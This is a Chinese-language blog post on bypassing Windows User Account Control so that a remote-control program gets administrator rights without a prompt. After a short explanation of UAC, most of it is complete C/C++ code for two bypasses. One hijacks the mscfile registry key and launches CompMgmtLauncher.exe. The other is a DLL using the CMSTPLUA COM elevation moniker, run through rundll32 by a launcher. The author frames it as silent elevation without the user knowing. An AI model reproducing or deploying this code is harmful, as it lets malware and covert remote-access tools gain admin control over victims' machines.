最近整理以前的项目,尝试在一个程序上实现进程隐藏和自动提权,结果进程隐藏花了很多时间,没得到一个理想的结果,自动提权倒是参考了几位大佬的文章做出来了。
话不多说,总结本次的提权办法——绕过UAC。
1 UAC
UAC(User Account Control)是Windows系统中的一项安全机制,它可以保证应用程序以非管理员的权限运行。UAC使得所有用户以标准用户权限登录,他们打开的进程(程序)也将以标准权限运行,一款良好的程序应该遵守这一安全规则。
然而,有些程序如历史遗留的程序,在当年设计阶段并没有很好地考虑到安全问题,它们通常会请求标准权限之外的权限,否则无法正常工作;此外,有些行为如下载应用、修改防火墙设置等都需要标准权限以外的权限来完成。
当一款应用需要请求标准权限以外的权限时,UAC会将此行为告知用户,这样使得用户对自己电脑上的任何提权行为了如指掌。
如果你是管理员用户,你可以在任意的程序上右键,选择“以管理员身份运行”,就能看到UAC的弹窗。
不难理解,通过这样的手段,可以有效地阻止恶意程序在电脑上的破坏行为,或者防止用户对某些系统设置的误更改。
2 绕过UAC
根据参考文章[1]所述, 触发UAC时,系统会创建一个consent.exe进程,该进程通过白名单程序和用户选择来判断是否创建管理员权限进程。请求进程将要请求的进程cmdline和进程路径通过LPC接口传递给appinfo 的 RAiLuanchAdminProcess函数。流程如下:
- 该函数首选验证路径是否在白名单中
- 接着将结果传递给consent.exe进程
- 该进程验证请求进程的签名以及发起者的权限是否符合要求后,决定是否弹出UAC窗口让用户确认
- UAC窗口会创建新的安全桌面,屏蔽之前的界面,同时UAC窗口进程是系统权限进程,其他普通进程无法和其进行通信交互,用户确认后,调用CreateProcessAsUser函数以管理员身份启动请求的进程。
对于一些恶意程序而言,总是希望在用户不知情的情况下以管理员权限运行,这就需要我们绕过UAC弹窗。目前绕过UAC有两种思路:基于白名单和基于COM组件接口。
2.1 基于白名单的Bypass UAC
有些系统程序可以直接获取管理员权限,而不触发UAC弹框,这类程序称为白名单程序。例如:slui.exe、wusa.exe、taskmgr.exe、msra.exe、eudcedit.exe、eventvwr.exe、CompMgmtLauncher.exe等等。
针对这些程序,可以使用DLL注入或修改注册表执行命令等方式启动目标程序,由于子进程默认继承父进程的权限,被这些白名单程序所打开的进程也就具备管理员权限了。
我事先准备了一个远程控制程序RemoteCtrl_Win10.exe,可以基于白名单机制,利用如下的代码尝试启动它:
#include <Windows.h> BOOL SetReg(char* lpszExePath) { HKEY hKey = NULL; // 创建项 ::RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Classes\\mscfile\\Shell\\Open\\Command", 0, NULL, 0, KEY_WOW64_64KEY | KEY_ALL_ACCESS, NULL, &hKey, NULL); // 设置键值 ::RegSetValueEx(hKey, NULL, 0, REG_SZ, (BYTE*)lpszExePath, (1 + ::lstrlen(lpszExePath))); // 关闭注册表 ::RegCloseKey(hKey); return TRUE; } int main() { BOOL bRet = FALSE; PVOID OldValue = NULL; // 关闭文件重定位 ::Wow64DisableWow64FsRedirection(&OldValue); // 修改注册表,设置我们的程序为启动目标 bRet = SetReg("F:\\RemoteCtrl_Win10.exe"); // 运行 CompMgmtLauncher.exe system("CompMgmtLauncher.exe"); printf("Run OK!\n"); // 恢复文件重定位 ::Wow64RevertWow64FsRedirection(OldValue); return 0; }
然而,修改注册表的提权方式过于简陋,会被WinDefender拦截下来。
运行的结果也就不放了。程序会直接被杀死(Defender甚至把我的目标exe给删了)。
2.2 基于COM组件接口的Bypass UAC
我对于COM的理解实际上不够清晰和深入,有兴趣的可以去看看参考文章[1~3]。
从我的理解来看,COM(Component Object Model,组件对象模型)是一种更加严格的面向对象编程规范,遵守这一规范的二进制程序需要提供标准的接口来供其他程序调用。这种程序以“组件”的方式存在,可以被复用,故节省了内存;而且,由于这些组件独立存在,对它们本身做出的改动不会影响使用者的程序结构,方便了它们的功能升级。
COM提升名称(COM Elevation Moniker)技术允许运行在用户帐户控制(UAC)下的应用程序,以提升权限的方法来激活COM类,最终提升COM接口权限。简单地说,就是主调程序以COM的规范实例化一个具有管理员权限的组件,这样这个组件的功能函数就能运行在管理员权限下。此外,COM规定了一个ICMLuaUtil接口,其下有一个ShellExcute方法,能够启动任意的程序。
文章[1]还指出,如果执行COM提升名称代码的程序身份是不可信的,则会触发UAC弹窗;若可信,则不会触发UAC弹窗。所以,要想Bypass UAC,则需要想办法让这段代码在Windows的可信程序中运行。其中,可信程序有计算器、记事本、资源管理器、rundll32.exe等。
我们仅仅希望以管理员权限启动我们的远控程序,则直接制作一个DLL交给rundll32.exe运行即可。按照上面的思路,我们的DLL应该先实例化一个管理员权限的COM组件,这个提权后的组件调用ShellExcute来启动远控程序。
DLL项目的代码如下:
// File: CBypassUAC.h #pragma once #ifndef BYPASS_UAC_H #define BYPASS_UAC_H #include "windows.h" #include <objbase.h> #include <strsafe.h> #define CLSID_CMSTPLUA L"{3E5FC7F9-9A51-4367-9063-A120244FBEC7}" #define IID_ICMLuaUtil L"{6EDD6D74-C007-4E75-B76A-E5740995E24C}" typedef interface ICMLuaUtil ICMLuaUtil; typedef struct ICMLuaUtilVtbl { BEGIN_INTERFACE HRESULT(STDMETHODCALLTYPE* QueryInterface)( __RPC__in ICMLuaUtil* This, __RPC__in REFIID riid, _COM_Outptr_ void** ppvObject); ULONG(STDMETHODCALLTYPE* AddRef)( __RPC__in ICMLuaUtil* This); ULONG(STDMETHODCALLTYPE* Release)( __RPC__in ICMLuaUtil* This); HRESULT(STDMETHODCALLTYPE* Method1)( __RPC__in ICMLuaUtil* This); HRESULT(STDMETHODCALLTYPE* Method2)( __RPC__in ICMLuaUtil* This); HRESULT(STDMETHODCALLTYPE* Method3)( __RPC__in ICMLuaUtil* This); HRESULT(STDMETHODCALLTYPE* Method4)( __RPC__in ICMLuaUtil* This); HRESULT(STDMETHODCALLTYPE* Method5)( __RPC__in ICMLuaUtil* This); HRESULT(STDMETHODCALLTYPE* Method6)( __RPC__in ICMLuaUtil* This); HRESULT(STDMETHODCALLTYPE* ShellExec)( __RPC__in ICMLuaUtil* This, _In_ LPCWSTR lpFile, _In_opt_ LPCTSTR lpParameters, _In_opt_ LPCTSTR lpDirectory, _In_ ULONG fMask, _In_ ULONG nShow ); HRESULT(STDMETHODCALLTYPE* SetRegistryStringValue)( __RPC__in ICMLuaUtil* This, _In_ HKEY hKey, _In_opt_ LPCTSTR lpSubKey, _In_opt_ LPCTSTR lpValueName, _In_ LPCTSTR lpValueString ); HRESULT(STDMETHODCALLTYPE* Method9)( __RPC__in ICMLuaUtil* This); HRESULT(STDMETHODCALLTYPE* Method10)( __RPC__in ICMLuaUtil* This); HRESULT(STDMETHODCALLTYPE* Method11)( __RPC__in ICMLuaUtil* This); HRESULT(STDMETHODCALLTYPE* Method12)( __RPC__in ICMLuaUtil* This); HRESULT(STDMETHODCALLTYPE* Method13)( __RPC__in ICMLuaUtil* This); HRESULT(STDMETHODCALLTYPE* Method14)( __RPC__in ICMLuaUtil* This); HRESULT(STDMETHODCALLTYPE* Method15)( __RPC__in ICMLuaUtil* This); HRESULT(STDMETHODCALLTYPE* Method16)( __RPC__in ICMLuaUtil* This); HRESULT(STDMETHODCALLTYPE* Method17)( __RPC__in ICMLuaUtil* This); HRESULT(STDMETHODCALLTYPE* Method18)( __RPC__in ICMLuaUtil* This); HRESULT(STDMETHODCALLTYPE* Method19)( __RPC__in ICMLuaUtil* This); HRESULT(STDMETHODCALLTYPE* Method20)( __RPC__in ICMLuaUtil* This); END_INTERFACE } *PICMLuaUtilVtbl; interface ICMLuaUtil { CONST_VTBL struct ICMLuaUtilVtbl* lpVtbl; }; extern "C" __declspec(dllexport) void CALLBACK BypassUAC(HWND hWnd, HINSTANCE hInstance, LPSTR lpszCmdLine, int iCmdShow); HRESULT CoCreateInstanceAsAdmin(HWND hWnd, REFCLSID rclsid, REFIID riid, PVOID* ppVoid); BOOL CMLuaUtilBypassUAC(LPWSTR lpwszExecutable); #endif
// File: CBypassUAC.c #include "pch.h" #include "CBypassUAC.h" // COM提升名称,以管理员权限实例化一个组件 HRESULT CoCreateInstanceAsAdmin(HWND hWnd, REFCLSID rclsid, REFIID riid, PVOID* ppVoid) { BIND_OPTS3 bo; WCHAR wszCLSID[MAX_PATH] = { 0 }; WCHAR wszMonikerName[MAX_PATH] = { 0 }; HRESULT hr = 0; // 初始化COM环境 ::CoInitialize(NULL); // 构造字符串 ::StringFromGUID2(rclsid, wszCLSID, (sizeof(wszCLSID) / sizeof(wszCLSID[0]))); hr = ::StringCchPrintfW(wszMonikerName, (sizeof(wszMonikerName) / sizeof(wszMonikerName[0])), L"Elevation:Administrator!new:%s", wszCLSID); if (FAILED(hr)) { return hr; } // 设置BIND_OPTS3 ::RtlZeroMemory(&bo, sizeof(bo)); bo.cbStruct = sizeof(bo); bo.hwnd = hWnd; bo.dwClassContext = CLSCTX_LOCAL_SERVER; // 创建名称对象并获取COM对象 hr = ::CoGetObject(wszMonikerName, &bo, riid, ppVoid); return hr; } BOOL CMLuaUtilBypassUAC(LPWSTR lpwszExecutable) { HRESULT hr = 0; CLSID clsidICMLuaUtil = { 0 }; IID iidICMLuaUtil = { 0 }; ICMLuaUtil* CMLuaUtil = NULL; BOOL bRet = FALSE; do { ::CLSIDFromString(CLSID_CMSTPLUA, &clsidICMLuaUtil); ::IIDFromString(IID_ICMLuaUtil, &iidICMLuaUtil); // 提权 hr = CoCreateInstanceAsAdmin(NULL, clsidICMLuaUtil, iidICMLuaUtil, (PVOID*)(&CMLuaUtil)); if (FAILED(hr)) { break; } // 启动程序 hr = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, lpwszExecutable, NULL, NULL, 0, SW_SHOW); if (FAILED(hr)) { break; } bRet = TRUE; } while (FALSE); // 释放 if (CMLuaUtil) { CMLuaUtil->lpVtbl->Release(CMLuaUtil); } return bRet; } void CALLBACK BypassUAC(HWND hWnd, HINSTANCE hInstance, LPSTR lpszCmdLine, int iCmdShow) { CMLuaUtilBypassUAC((LPWSTR)L"F:\\RemoteCtrl_Win10.exe"); }
这里需要注意,我们要在头文件中将目标函数
BypassUAC
导出,否则rundll32.exe程序无法正确获取这个函数。具体方法就是在函数声明时加上extern "C" __declspec(dllexport)
前缀。对于DLL项目中的dllmain.cpp文件,保持默认即可。编译此程序,生成一个DLL。现在我们还需要编写一个程序用来调用rundll32.exe,使其执行链接库中的
BypassUAC
函数。新建一个Launcher项目,只有一个源文件:
// File: Launcher.cpp #include <Windows.h> #include <iostream> using namespace std; int main() { //调用rundll32.exe去执行RemoteThreadDll.dll的导出函数 达到BypassUAC char szCmdLine[MAX_PATH] = { 0 }; char szRundll32Path[MAX_PATH] = "C:\\Windows\\System32\\rundll32.exe"; //获取当前程序所在路径 char pszFileName[MAX_PATH] = { 0 }; GetModuleFileNameA(NULL, pszFileName, MAX_PATH); //获取当前程序所在目录 (strrchr(pszFileName, '\\'))[0] = 0; //拼接要注入dll路径 char pszDllName[MAX_PATH] = { 0 }; sprintf_s(pszDllName, "%s\\%s", pszFileName, "BypassUAC.dll"); sprintf_s(szCmdLine, "%s %s %s", szRundll32Path, pszDllName, "BypassUAC"); WinExec(szCmdLine, SW_HIDE); }
运行此Launcher,将以管理员权限打开我们的远控程序。
而没有提权时我们的程序无法执行这个指令。
参考文章
[1] 酷扯儿.Windows编程技术:提权技术(下)[EB/OL].2020-09-22
https://baijiahao.baidu.com/s?id=1678518589760092233&wfr=spider&for=pc
[2] FDCFDMin.COM(Componet Object Model_组件对象模型)技术概述[EB/OL].2018-09-17
https://blog.csdn.net/weixin_39743893/article/details/82500563
[3] Microsoft.COM Technical Overview[EB/OL].2018-05-31
https://docs.microsoft.com/zh-cn/windows/win32/com/com-technical-overview
[4] 自己的小白.基于COM组件接口ICMLuaUtil的Bypass UAC[EB/OL].2020-04-24
https://www.cnblogs.com/ndyxb/p/12770289.html